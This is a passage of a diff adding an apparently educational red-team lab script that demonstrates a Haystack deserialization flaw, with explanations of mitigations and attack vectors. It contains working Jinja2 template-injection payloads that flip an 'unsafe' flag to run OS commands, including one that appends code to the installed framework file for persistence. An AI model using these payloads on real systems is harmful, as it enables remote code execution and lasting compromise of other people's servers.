BACKGROUND{Colors.ENDC}") + if lesson_type == "baseline": + print( + f"{Colors.CYAN} - Vulnerability: Serialization Boundary Evasion (CWE-502){Colors.ENDC}" + ) + print(f"{Colors.CYAN} - CWE: CWE-502 / CWE-94 / CWE-184{Colors.ENDC}") + print( + f"{Colors.CYAN} - How it works: from_dict() passes init_params directly to{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} component constructors without stripping the 'unsafe' flag.{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} - Impact: An attacker can toggle the security flag from{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} False to True, bypassing the Jinja2 sandbox.{Colors.ENDC}" + ) + elif lesson_type == "yaml": + print( + f"{Colors.CYAN} - Vulnerability: YAML Deserialization Bypass (CWE-502){Colors.ENDC}" + ) + print( + f"{Colors.CYAN} - How it works: Pipeline.from_yaml() loads pipeline definitions{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} from untrusted YAML files, including the unsafe flag.{Colors.ENDC}" + ) + elif lesson_type == "rce": + print( + f"{Colors.CYAN} - Vulnerability: Persistent Framework Compromise (CWE-94){Colors.ENDC}" + ) + print( + f"{Colors.CYAN} - How it works: Jinja2 SSTI breakout enables OS command execution,{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} allowing overwrite of haystack/__init__.py for persistence.{Colors.ENDC}" + ) + elif lesson_type == "verify": + print(f"{Colors.CYAN} - Vulnerability: Scope Change (S:C){Colors.ENDC}") + print( + f"{Colors.CYAN} - How it works: The initial pipeline RCE escalates to persistent{Colors.ENDC}" + ) + print(f"{Colors.CYAN} host-level infrastructure compromise.{Colors.ENDC}") + elif lesson_type == "attack_vectors": + print(f"{Colors.CYAN} - Focus: Real-world deployment scenarios{Colors.ENDC}") + print( + f"{Colors.CYAN} - Covers: API, file, database, and message queue attack paths{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} - Authentication: How it affects exploitability{Colors.ENDC}" + ) + print(f"{Colors.CYAN} - Threat modeling: Assessing your own risk{Colors.ENDC}") + print(f"{Colors.CYAN} - Research: {RESEARCH_URL}{Colors.ENDC}\n") + + +def show_glossary(): + print(f"\n{Colors.BOLD}GLOSSARY{Colors.ENDC}") + for term, definition in GLOSSARY.items(): + print(f"{Colors.CYAN} {term}:{Colors.ENDC} {definition}") + input(f"\n{Colors.YELLOW}Press ENTER to return...{Colors.ENDC}") + + +def show_whitepaper_summary(): + print(WHITE_PAPER_SUMMARY) + input(f"\n{Colors.YELLOW}Press ENTER to return...{Colors.ENDC}") + + +def show_vendor_perspective(): + print(VENDOR_PERSPECTIVE) + input(f"\n{Colors.YELLOW}Press ENTER to return...{Colors.ENDC}") + + +# ====================================================================== +# YAML/JSON INPUT HANDLER +# ====================================================================== +def get_pipeline_payload(default_yaml, default_json=None, is_auto=False): + if is_auto or AUTO_MODE: + return default_yaml + + print( + f"\n{Colors.CYAN}[+] Default YAML payload (press ENTER to use it):{Colors.ENDC}" + ) + print(f"{Colors.BOLD}{default_yaml}{Colors.ENDC}") + + if default_json: + print(f"\n{Colors.CYAN}[+] Equivalent JSON payload:{Colors.ENDC}") + print(f"{Colors.BOLD}{json.dumps(default_json, indent=2)}{Colors.ENDC}") + + print(f"\n{Colors.YELLOW} [INPUT OPTIONS]{Colors.ENDC}") + print( + f" {Colors.CYAN} 1. Press Enter to use the default YAML payload above{Colors.ENDC}" + ) + print( + f" {Colors.CYAN} 2. Paste a YAML or JSON payload (multi-line supported){Colors.ENDC}" + ) + print( + f" {Colors.CYAN} 3. Type a path to a YAML/JSON file on the host{Colors.ENDC}" + ) + + first_line = input(f"\n{Colors.GREEN} > {Colors.ENDC}") + + if not first_line.strip(): + print(f"{Colors.GREEN} [+] Using default payload.{Colors.ENDC}") + return default_yaml + + if os.path.exists(first_line.strip()): + try: + with open(first_line.strip(), "r") as f: + content = f.read() + print( + f"{Colors.GREEN} [+] Loaded payload from file: {first_line.strip()}{Colors.ENDC}" + ) + return content + except Exception as e: + print( + f"{Colors.YELLOW}[!] Could not read file: {e}. Using default.{Colors.ENDC}" + ) + return default_yaml + + if first_line.strip().startswith("components:") or first_line.strip().startswith( + "{" + ): + print( + f"{Colors.GREEN} [Detected multi-line paste. Enter remaining lines; type 'EOF' on a new line to finish, or press Ctrl-D]{Colors.ENDC}" + ) + lines = [first_line] + while True: + try: + line = input() + except EOFError: + break + if line.strip() == "EOF": + break + lines.append(line) + pasted = "\n".join(lines) + try: + json.loads(pasted) + print(f"{Colors.GREEN} [+] Using pasted JSON payload.{Colors.ENDC}") + return pasted + except: + pass + try: + yaml.safe_load(pasted) + print(f"{Colors.GREEN} [+] Using pasted YAML payload.{Colors.ENDC}") + return pasted + except: + print( + f"{Colors.YELLOW}[!] Pasted payload failed YAML/JSON validation. Using default.{Colors.ENDC}" + ) + return default_yaml + + try: + json.loads(first_line) + print( + f"{Colors.GREEN} [+] Valid JSON detected. Using pasted JSON.{Colors.ENDC}" + ) + return first_line + except: + pass + + try: + yaml.safe_load(first_line) + print( + f"{Colors.GREEN} [+] Valid YAML detected. Using pasted YAML.{Colors.ENDC}" + ) + return first_line + except: + pass + + try: + with open(first_line.strip(), "r") as f: + content = f.read() + print( + f"{Colors.GREEN} [+] Loaded payload from file: {first_line.strip()}{Colors.ENDC}" + ) + return content + except Exception as e: + print( + f"{Colors.YELLOW}[!] Could not interpret as file: {e}. Using default.{Colors.ENDC}" + ) + return default_yaml + + +# ====================================================================== +# LESSON EXECUTIONS +# ====================================================================== +def run_lesson_baseline(): + print_lesson_header( + 1, + "Baseline - Framework Clean State", + "Verify the framework is clean and unsafe=False by default.", + ) + print_theory("baseline") + print( + f"\n{Colors.CYAN}[>] GET {get_base_url()}/verify (REAL haystack-ai=={STAGE_CONFIGS[CURRENT_STAGE]['version']}){Colors.ENDC}" + ) + status, output = send_request("/verify") + print(f"[<] Status: {status}") + print(json.dumps(output, indent=2)) + if status == 200 and output.get("status") == "clean": + print(f"{Colors.GREEN}{Colors.BOLD}[+] FRAMEWORK IS CLEAN{Colors.ENDC}") + print(f" EVIDENCE: haystack-ai v{output.get('haystack_version')}") + else: + print(f"{Colors.RED}{Colors.BOLD}[-] Unexpected state!{Colors.ENDC}") + log_result("baseline", status, output) + + print(f"\n{Colors.BOLD}{Colors.YELLOW}═══ WHAT WE JUST DID ═══{Colors.ENDC}") + print(f" We verified that the framework is in its default state:") + print(f" - The haystack/__init__.py file is clean (no injected code)") + print(f" - The 'unsafe' flag defaults to False") + print(f" - No markers from previous exploits are present") + + print_lesson_footer() + if not AUTO_MODE: + input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.ENDC}") + else: + time.sleep(3) + + +def run_lesson_yaml_bypass(): + print_lesson_header( + 2, + "YAML Deserialization Bypass (unsafe flag mutation)", + "Load a malicious YAML pipeline that sets unsafe=true.", + ) + print_theory("yaml") + + malicious_yaml = """ +components: + adapter: + type: haystack.components.converters.output_adapter.OutputAdapter + init_parameters: + template: | + {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('echo "SAFE_MODE_BYPASSED" > /tmp/haystack_bypass.txt') }} + output_type: str + unsafe: true +connections: [] +inputs: {} +outputs: {} +""" + + malicious_json = { + "components": { + "adapter": { + "type": "haystack.components.converters.output_adapter.OutputAdapter", + "init_parameters": { + "template": "{{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('echo \"SAFE_MODE_BYPASSED\" > /tmp/haystack_bypass.txt') }}", + "output_type": "str", + "unsafe": True, + }, + "inputs": {}, + } + }, + "connections": [], + "inputs": {}, + "outputs": {}, + } + + if AUTO_MODE: + print( + f"\n{Colors.GREEN} [AUTO-PILOT] Injecting malicious YAML pipeline...{Colors.ENDC}" + ) + yaml_data = malicious_yaml + else: + yaml_data = get_pipeline_payload(malicious_yaml, malicious_json) + + payload = { + "query": f'Action: load_pipeline\nAction Input: {{"pipeline": {json.dumps(yaml_data)}}}' + } + print( + f"\n{Colors.CYAN}[>] POST {get_base_url()}/chat (REAL haystack-ai=={STAGE_CONFIGS[CURRENT_STAGE]['version']}){Colors.ENDC}" + ) + status, output = send_request("/chat", method="POST", payload=payload) + print(f"[<] Status: {status}") + print(json.dumps(output, indent=2)) + + out_str = json.dumps(output) + if "SAFE_MODE_BYPASSED" in out_str or "Pipeline loaded" in out_str: + print( + f"{Colors.RED}{Colors.BOLD}[VULNERABLE] SERIALIZATION BYPASS SUCCESSFUL!{Colors.ENDC}" + ) + print(f" EVIDENCE: The unsafe flag was mutated to true via untrusted YAML.") + else: + print( + f"{Colors.YELLOW}[-] Unexpected result. Check output above for errors.{Colors.ENDC}" + ) + + log_result("yaml_bypass", status, output) + + print(f"\n{Colors.BOLD}{Colors.YELLOW}═══ WHAT JUST HAPPENED ═══{Colors.ENDC}") + print(f" 1. We sent a YAML pipeline definition to the server") + print(f" 2. The YAML contained 'unsafe: true' in the init_parameters") + print(f" 3. Pipeline.from_dict() passed this directly to OutputAdapter()") + print(f" 4. The adapter was created with unsafe=True, bypassing the sandbox") + print(f" 5. When the pipeline ran, the Jinja2 template executed our command") + + print(f"\n{Colors.BOLD}{Colors.MAGENTA}═══ THE ARCHITECTURAL FLAW ═══{Colors.ENDC}") + print(f" The root cause is in haystack/core/serialization.py:") + print(f" def default_from_dict(cls, data):") + print(f" init_params = data.get('init_parameters', {{}})") + print(f" return cls(**init_params) # passes ALL params to constructor") + print(f" There is no filtering of security-critical parameters like 'unsafe'.") + + print_lesson_footer() + if not AUTO_MODE: + input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.ENDC}") + else: + time.sleep(3) + + +def run_lesson_rce(): + print_lesson_header( + 3, + "Full RCE - Persistent Framework Compromise", + "Overwrite haystack/__init__.py to achieve persistence.", + ) + print_theory("rce") + + malicious_yaml = """ +components: + adapter: + type: haystack.components.converters.output_adapter.OutputAdapter + init_parameters: + template: | + {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('echo "print(\\"!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!\\")" >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py') }} + output_type: str + unsafe: true +connections: [] +inputs: {} +outputs: {} +""" + + malicious_json = { + "components": { + "adapter": { + "type": "haystack.components.converters.output_adapter.OutputAdapter", + "init_parameters": { + "template": "{{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('echo \"print(\\\"!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!\\\")\" >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py') }}", + "output_type": "str", + "unsafe": True, + }, + "inputs": {}, + } + }, + "connections": [], + "inputs": {}, + "outputs": {}, + } + + if AUTO_MODE: + print(f"\n{Colors.GREEN} [AUTO-PILOT] Injecting RCE payload...{Colors.ENDC}") + yaml_data = malicious_yaml + else: + yaml_data = get_pipeline_payload(malicious_yaml, malicious_json) + + payload = { + "query": f'Action: load_pipeline\nAction Input: {{"pipeline": {json.dumps(yaml_data)}}}' + } + print( + f"\n{Colors.CYAN}[>] POST {get_base_url()}/chat (REAL haystack-ai=={STAGE_CONFIGS[CURRENT_STAGE]['version']}){Colors.ENDC}" + ) + status, output = send_request("/chat", method="POST", payload=payload) + print(f"[<] Status: {status}") + print(json.dumps(output, indent=2)) + + out_str = json.dumps(output) + if "Pipeline loaded" in out_str: + print(f"{Colors.RED}{Colors.BOLD}[VULNERABLE] RCE CHAIN EXECUTED!{Colors.ENDC}") + print(f" EVIDENCE: The payload was executed and wrote to the framework file.") + else: + print( + f"{Colors.YELLOW}[-] Unexpected result. Check output above for errors.{Colors.ENDC}" + ) + + log_result("rce", status, output) + + print(f"\n{Colors.BOLD}{Colors.YELLOW}═══ WHAT JUST HAPPENED ═══{Colors.ENDC}") + print(f" 1. We used the same serialization bypass to execute a command") + print(f" 2. This command appends Python code to the haystack/__init__.py file") + print(f" 3. The injected code runs every time 'import haystack' is executed") + print(f" 4. This is a Scope Change (CVSS S:C) - the infection persists") + print(f" beyond the original pipeline execution") + + print(f"\n{Colors.BOLD}{Colors.MAGENTA}═══ WHY THIS IS CVSS 10.0 ═══{Colors.ENDC}") + print(f" Attack Vector: Network (AV:N) - API endpoint") + print(f" Attack Complexity: Low (AC:L) - simple boolean flag change") + print(f" Privileges Required: None (PR:N) - no auth needed") + print(f" User Interaction: None (UI:N) - automated exploitation") + print(f" Scope: Changed (S:C) - affects resources beyond the app") + print(f" Impact: High/HIGH/HIGH (C:H/I:H/A:H) - full compromise") + + print_lesson_footer() + if not AUTO_MODE: + input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.ENDC}") + else: + time.sleep(3) + + +def run_lesson_verify(): + print_lesson_header( + 4, + "Scope Change Proof - Persistent Compromise", + "Verify the framework is now permanently compromised.", + ) + print_theory("verify") + print( + f"\n{Colors.CYAN}[>] GET {get_base_url()}/verify (REAL haystack-ai=={STAGE_CONFIGS[CURRENT_STAGE]['version']}){Colors.ENDC}" + ) + status, output = send_request("/verify") + print(f"[<] Status: {status}") + print(json.dumps(output, indent=2)) + if status == 200 and output.get("status") == "compromised": + print( + f"{Colors.RED}{Colors.BOLD}[CONFIRMED] SCOPE CHANGE: FRAMEWORK COMPROMISED!{Colors.ENDC}" + ) + print(f" Markers found: {output.get('markers_found')}") + elif status == 200: + print(f"{Colors.GREEN}{Colors.BOLD}[-] Framework is still clean.{Colors.ENDC}") + else: + print(f"{Colors.YELLOW}[-] Unexpected result.{Colors.ENDC}") + log_result("verify", status, output) + + print(f"\n{Colors.BOLD}{Colors.YELLOW}═══ WHAT THIS PROVES ═══{Colors.ENDC}") + print(f" The /verify endpoint checks haystack/__init__.py for markers.") + print(f" If markers are found, it means the framework source code") + print(f" has been permanently modified on disk.") + + print_industry_perspective() + if not AUTO_MODE: + input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.ENDC}") + else: + time.sleep(3) + + +def run_lesson_mitigation(): + print_lesson_header( + 5, + "Mitigation Strategies & Their Limitations", + "Understand how to protect against this vulnerability and why framework-level fixes are required.", + ) + print(f"\n{Colors.BOLD}{Colors.CYAN} THEORY & BACKGROUND{Colors.ENDC}") + print( + f"{Colors.CYAN} - The vulnerability is architectural, not a simple bug{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} - Application-layer fixes can reduce risk but not eliminate it{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} - This lesson explores why comprehensive patching is extremely difficult{Colors.ENDC}" + ) + print( + f"{Colors.CYAN} - Understanding these limitations is key to defense-in-depth{Colors.ENDC}" + ) + + print_mitigation_strategies() + + print( + f"\n{Colors.BOLD}{Colors.YELLOW}═══ CONCEPTUAL PATCH DEMONSTRATION ═══{Colors.ENDC}" + ) + print(f" In a real production environment, a security team might deploy") + print(f" a monkey-patch like this to strip the 'unsafe' parameter:") + print(f"\n{Colors.GREEN} --- hypothetical_patch.py ---") + print(f" import haystack.components.converters.output_adapter as oa") + print(f" _orig = oa.OutputAdapter.from_dict.__func__") + print(f" @classmethod") + print(f" def _secured(cls, data):") + print(f" if 'init_parameters' in data:") + print(f" data['init_parameters'].pop('unsafe', None)") + print(f" return _orig(cls, data)") + print(f" oa.OutputAdapter.from_dict = _secured{Colors.ENDC}") + print( + f"\n If deployed correctly, this would block the exploit we ran in Lesson 2." + ) + print( + f" The 'unsafe' parameter would be stripped before reaching the constructor." + ) + + print( + f"\n{Colors.BOLD}{Colors.YELLOW}═══ BUT THIS PATCH HAS FUNDAMENTAL GAPS ═══{Colors.ENDC}" + ) + print(f" Even if deployed, an attacker can bypass it because:") + print(f"\n 1. {Colors.YELLOW}Coverage Gaps:{Colors.ENDC}") + print(f" The patch only covers OutputAdapter.from_dict().") + print(f" ConditionalRouter also has an 'unsafe' parameter") + print(f" with its own from_dict() method. The attacker simply") + print(f" switches to ConditionalRouter instead.") + print(f"\n 2. {Colors.YELLOW}Multiple Deserialization Paths:{Colors.ENDC}") + print(f" Pipeline.from_dict(), Pipeline.from_yaml(),") + print(f" Component.from_dict() - each is a separate entry point.") + print(f" A patch on one path doesn't protect the others.") + print(f"\n 3. {Colors.YELLOW}Order of Operations:{Colors.ENDC}") + print(f" The patch must be deployed BEFORE any untrusted pipeline") + print(f" is loaded. If an attacker exploits first, they can") + print(f" disable or override the patch.") + print(f"\n 4. {Colors.YELLOW}Update Persistence:{Colors.ENDC}") + print(f" Framework updates, hotfixes, or container restarts") + print(f" can overwrite the monkey-patch, requiring re-deployment.") + print(f"\n 5. {Colors.YELLOW}Same Runtime:{Colors.ENDC}") + print(f" The patch runs in the same process as the vulnerability.") + print(f" If the attacker achieves code execution, they can") + print(f" disable the patch itself.") + + print(f"\n{Colors.BOLD}{Colors.MAGENTA}═══ THE KEY INSIGHT ═══{Colors.ENDC}") + print(f" The challenge isn't writing a single patch - it's writing a") + print(f" COMPREHENSIVE patch that covers ALL possible attack paths.") + print(f" Each component (OutputAdapter, ConditionalRouter, etc.)") + print(f" and each deserialization method (from_dict, from_yaml, etc.)") + print(f" requires its own patch. Missing just one leaves the door open.") + print(f"\n This is why the fix MUST be at the framework level:") + print(f" - The framework controls ALL deserialization paths") + print(f" - It can strip security parameters at the SINGLE entry point") + print(f" - Application-level patches are inherently incomplete") + + print( + f"\n{Colors.BOLD}{Colors.GREEN}═══ THE REAL FIX (Framework-Level) ═══{Colors.ENDC}" + ) + print(f" The framework should implement:") + print( + f" 1. {Colors.CYAN}Parameter Stripping:{Colors.ENDC} All from_dict() methods should" + ) + print(f" strip security-critical parameters like 'unsafe'.") + print( + f" 2. {Colors.CYAN}Centralized Validation:{Colors.ENDC} Validate at Pipeline.from_dict()" + ) + print(f" rather than each individual component.") + print(f" 3. {Colors.CYAN}Explicit Opt-In:{Colors.ENDC} Unsafe mode should require") + print(f" code-level developer intent, not data-level configuration.") + print( + f" 4. {Colors.CYAN}Cryptographic Signatures:{Colors.ENDC} Verify serialized data" + ) + print(f" integrity before deserialization.") + + print( + f"\n{Colors.BOLD}{Colors.YELLOW}═══ WHEN THE VENDOR'S STANCE IS REASONABLE ═══{Colors.ENDC}" + ) + print(f" The vendor's position ('trust the source of pipeline data')") + print(f" is reasonable in these scenarios:") + print(f" • Pipelines stored in a secured database with strict access controls") + print(f" • Pipelines signed by a trusted build system") + print(f" • The application only loads pipelines from its own trusted storage") + print(f" • No user-uploaded pipeline configurations are accepted") + print(f"\n It is LESS reasonable when:") + print(f" • Multi-tenant SaaS environments accept pipeline definitions") + print(f" from untrusted tenants") + print(f" • Cache poisoning or MITM scenarios are possible") + print(f" • CI/CD pipeline poisoning via repository compromise") + print(f" • Any scenario where serialized data crosses trust boundaries") + + print_lesson_footer() + if not AUTO_MODE: + input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.ENDC}") + else: + time.sleep(3) + + +def run_lesson_attack_vectors(): + """Lesson 6: Attack Vectors & Deployment Scenarios""" + print_lesson_header( + 6, + "Attack Vectors & Deployment Scenarios", + "Understand the different ways this vulnerability can be exploited remotely.", + ) + print_theory("attack_vectors") + + print( + f"\n{Colors.BOLD}{Colors.CYAN}═══ THE CORE EXPLOIT (Same in All Scenarios) ═══{Colors.ENDC}" + ) + print(f" Regardless of HOW the malicious pipeline reaches the server,") + print(f" the exploit is always the same payload:") + print(f"\n{Colors.GREEN} components:") + print(f" adapter:") + print(f" type: haystack.components.converters.output_adapter.OutputAdapter") + print(f" init_parameters:") + print(f" template: |") + print(f" {{{{ trigger }}}}{{{{ self.__init__.__globals__.__builtins__") + print(f" .__import__('os').system('id') }}}}") + print(f" output_type: str") + print(f" unsafe: true # <-- THE FLAG FLIP{Colors.ENDC}") + print(f"\n The 'unsafe: true' line is the key. When from_dict() processes this,") + print(f" it passes 'unsafe=True' directly to the OutputAdapter constructor.") + print(f" This bypasses the Jinja2 sandbox and allows code execution.") + print( + f"\n {Colors.BOLD}The question is: how does this payload reach the framework?{Colors.ENDC}" + ) + + print( + f"\n{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN} SCENARIO 1: Direct API Call (Remote, No Prior Access){Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print(f"\n {Colors.GREEN}How it works:{Colors.ENDC}") + print(f" The application exposes an HTTP endpoint that accepts pipeline") + print(f" definitions. The attacker sends a crafted POST request directly.") + print(f"\n {Colors.YELLOW}Example:{Colors.ENDC}") + print(f" POST /api/pipeline/load") + print(f" Content-Type: application/json") + # Use non-f-string for JSON block to avoid brace escaping issues + print(" {") + print(' "type": "haystack.pipeline.Pipeline",') + print(' "components": {') + print(' "adapter": {') + print( + ' "type": "haystack.components.converters.output_adapter.OutputAdapter",' + ) + print(' "init_parameters": {') + print(' "template": "{{ trigger }}{{ ...system(\'id\') }}",') + print(' "output_type": "str",') + print(' "unsafe": true') + print(" }") + print(" }") + print(" }") + print(" }") + print( + f"\n {Colors.MAGENTA}Authentication Required?{Colors.ENDC} {Colors.RED}Depends on the deployment{Colors.ENDC}" + ) + print(f" • If the endpoint is public -> Remote exploit, no prior access needed") + print(f" • If the endpoint requires auth -> Attacker needs credentials first") + print(f" • Authentication does NOT fix the vulnerability - it only controls") + print(f" who can reach it. Once authenticated, the exploit works the same.") + print( + f"\n {Colors.YELLOW}This is the scenario demonstrated in your .cast recordings.{Colors.ENDC}" + ) + print(f" The lab container exposes an unauthenticated /chat endpoint.") + + print( + f"\n{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN} SCENARIO 2: File-Based (Requires Write Access){Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print(f"\n {Colors.GREEN}How it works:{Colors.ENDC}") + print(f" The application loads pipeline definitions from YAML files on disk.") + print(f" The attacker needs to write a malicious file to the target location.") + print(f"\n {Colors.YELLOW}Attack paths to write the file:{Colors.ENDC}") + print(f" • File upload feature (if the app accepts pipeline uploads)") + print(f" • Directory traversal vulnerability in another endpoint") + print(f" • Compromised CI/CD pipeline that deploys config files") + print(f" • Shared storage (NFS, S3) with misconfigured permissions") + print(f" • Malicious insider or compromised developer workstation") + print( + f"\n {Colors.MAGENTA}Authentication Required?{Colors.ENDC} {Colors.RED}Varies{Colors.ENDC}" + ) + print(f" • File upload endpoints may be authenticated or public") + print(f" • CI/CD access requires pipeline credentials") + print(f" • Shared storage may have network-level access controls") + + print( + f"\n{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN} SCENARIO 3: Database Poisoning (Requires DB Access){Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print(f"\n {Colors.GREEN}How it works:{Colors.ENDC}") + print(f" Pipeline definitions are stored in a database. The attacker") + print(f" modifies a stored pipeline to include 'unsafe: true'.") + print(f"\n {Colors.YELLOW}Attack paths to modify the database:{Colors.ENDC}") + print(f" • SQL injection in another part of the application") + print(f" • Direct database access (exposed port, weak credentials)") + print(f" • Compromised admin panel or API") + print(f" • Backup restoration with malicious data") + print(f" • Cache poisoning (Redis/Memcached)") + print( + f"\n {Colors.MAGENTA}Authentication Required?{Colors.ENDC} {Colors.RED}Yes, for direct DB access{Colors.ENDC}" + ) + print(f" • SQL injection bypasses app-level auth") + print(f" • Database credentials may be stolen from config files") + + print( + f"\n{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN} SCENARIO 4: Message Queue Poisoning (Requires Queue Access){Colors.ENDC}" + ) + print( + f"{Colors.BOLD}{Colors.CYAN}══════════════════════════════════════════════════════════════{Colors.ENDC}" + ) + print(f"\n {Colors.GREEN}How it works:{Colors.ENDC}") + print(f" Pipeline definitions are transmitted via message queues (RabbitMQ,") + print(f" Kafka, etc.). The attacker injects a malicious message.") + print(f"\n {Colors.YELLOW}Attack paths to inject into the queue:{Colors.ENDC}") + print(f" • Man-in-the-middle on internal network traffic") + print(f" • Compromised producer service that sends messages to the queue") + print(f" • Direct access to the queue management interface") + print(f" • Exploiting a trust relationship between services") + print( + f"\n {Colors.MAGENTA}Authentication Required?{Colors.ENDC} {Colors.RED}Network-level access{Colors.ENDC}" + ) + print(f" • Message queues may have network-level ACLs") + print(f" • Internal network access may be easier to obtain than app-level auth") + + print(f"\n{Colors.BOLD}{Colors.MAGENTA}═══ KEY TAKEAWAY ═══{Colors.ENDC}") + print(f" The vulnerability itself is always the same: a missing validation") + print(f" in from_dict() that allows 'unsafe: true' to be injected via data.") + print(f"\n The attack VECTOR depends on how the framework is deployed:") + print(f" • Public API endpoint -> Remote exploit, no prior access") + print(f" • Authenticated endpoint -> Requires credentials, then same exploit") + print(f" • File-based loading -> Requires file write access") + print(f" • Database storage -> Requires DB access (SQLi, etc.)") + print(f" • Message queue -> Requires queue access") + print( + f"\n {Colors.YELLOW}Authentication controls WHO can reach the vulnerability," + ) + print(f" but does NOT fix the vulnerability itself.{Colors.ENDC}") + print(f" Once an attacker reaches the deserialization code,") + print(f" the exploit works identically regardless of authentication.") + + print_lesson_footer() + if not AUTO_MODE: + input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.ENDC}") + else: + time.sleep(3) + + +# ====================================================================== +# AUTOMATED GUIDED TRAINING COURSE +# ====================================================================== +def run_training_course(): + global AUTO_MODE + AUTO_MODE = True + print( + f"\n{Colors.MAGENTA}{Colors.BOLD}================================================================================{Colors.ENDC}" + ) + print( + f"{Colors.MAGENTA}{Colors.BOLD} STARTING GUIDED AUTO-PILOT TRAINING COURSE {Colors.ENDC}" + ) + print( + f"{Colors.MAGENTA}{Colors.BOLD}================================================================================{Colors.ENDC}" + ) + time.sleep(2) + + print(f"{Colors.YELLOW}[*] Resetting container to clean state...{Colors.ENDC}") + if not launch_clean_container(): + AUTO_MODE = False + return + print( + f"\n{Colors.YELLOW}[TEACHING MOMENT] The 'unsafe' flag is documented as a security control,{Colors.ENDC}" + ) + print( + f"{Colors.YELLOW}but from_dict() passes it through without validation - allowing{Colors.ENDC}" + ) + print( + f"{Colors.YELLOW}untrusted YAML to enable it. This relates to OWASP LLM06 and ASI02.{Colors.ENDC}" + ) + time.sleep(3) + run_lesson_baseline() + run_lesson_yaml_bypass() + run_lesson_rce() + run_lesson_verify() + run_lesson_mitigation() + run_lesson_attack_vectors() + print( + f"\n{Colors.MAGENTA}{Colors.BOLD}================================================================================{Colors.ENDC}" + ) + print( + f"{Colors.MAGENTA}{Colors.BOLD} GUIDED COURSE COMPLETE {Colors.ENDC}" + ) + print( + f"{Colors.MAGENTA}{Colors.BOLD}================================================================================{Colors.ENDC}" + ) + print(f"{Colors.GREEN}[+] Container stopped and cleaned up.{Colors.ENDC}") + stop_container() + AUTO_MODE = False + + +# ====================================================================== +# MAIN MENU +# ====================================================================== +def print_banner(): + cfg = STAGE_CONFIGS[CURRENT_STAGE] + container_running = CONTAINER_RUNNING + status_icon = "\U0001f534" if not container_running else "\U0001f7e2" + status_text = ( + "STOPPED" + if not container_running + else f"RUNNING (haystack-ai v{cfg['version']})" + ) + print( + f"\n{Colors.CYAN}{Colors.BOLD}================================================================================{Colors.ENDC}" + ) + print( + f"{Colors.YELLOW}{Colors.BOLD} OWASP GenAI Red Team Lab - Haystack Serialization Evasion Suite{Colors.ENDC}" + ) + print( + f"{Colors.CYAN}{Colors.BOLD}================================================================================{Colors.ENDC}" + ) + print( + f" {Colors.BOLD}Active Stage{Colors.RESET} : {Colors.GREEN}{cfg['title']} (Port {cfg['port']}){Colors.ENDC}" + ) + print( + f" {Colors.BOLD}REAL Version{Colors.RESET} : {Colors.GREEN}haystack-ai=={cfg['version']}{Colors.ENDC}" + ) + print( + f" {Colors.BOLD}Vulnerability{Colors.RESET} : {Colors.RED}{cfg['vuln_type']}{Colors.ENDC}" + ) + print(f" {Colors.BOLD}Container Status{Colors.RESET}: {status_icon} {status_text}") + print( + f"{Colors.CYAN}{Colors.BOLD}================================================================================{Colors.ENDC}" + ) + if not container_running: + print( + f"{Colors.YELLOW}{Colors.BOLD} WARNING: The container is NOT running.{Colors.ENDC}" + ) + print( + f"{Colors.YELLOW} Press 'C' to start it before running lessons.{Colors.ENDC}" + ) + + +def main(): + global CONTAINER_RUNNING + print( + f"{Colors.RED}{Colors.BOLD}DISCLAIMER: This lab is for educational purposes only.{Colors.ENDC}\n" + ) + if len(sys.argv) > 1 and sys.argv[1] == "--auto": + run_training_course() + return + while True: + print_banner() + print( + f" {Colors.MAGENTA}{Colors.BOLD}[G]{Colors.ENDC} Guided Training Course (Auto-Pilot)" + ) + print(f" {Colors.CYAN}{Colors.BOLD}[1]{Colors.ENDC} Run Lesson: Baseline") + print( + f" {Colors.CYAN}{Colors.BOLD}[2]{Colors.ENDC} Run Lesson: YAML Deserialization Bypass" + ) + print( + f" {Colors.CYAN}{Colors.BOLD}[3]{Colors.ENDC} Run Lesson: Full RCE (Framework Overwrite)" + ) + print( + f" {Colors.CYAN}{Colors.BOLD}[4]{Colors.ENDC} Run Lesson: Scope Change Proof" + ) + print( + f" {Colors.CYAN}{Colors.BOLD}[5]{Colors.ENDC} Run Lesson: Mitigation Strategies" + ) + print( + f" {Colors.CYAN}{Colors.BOLD}[6]{Colors.ENDC} Run Lesson: Attack Vectors & Scenarios" + ) + print( + f" {Colors.MAGENTA}{Colors.BOLD}[I]{Colors.ENDC} Show Industry Perspective" + ) + print(f" 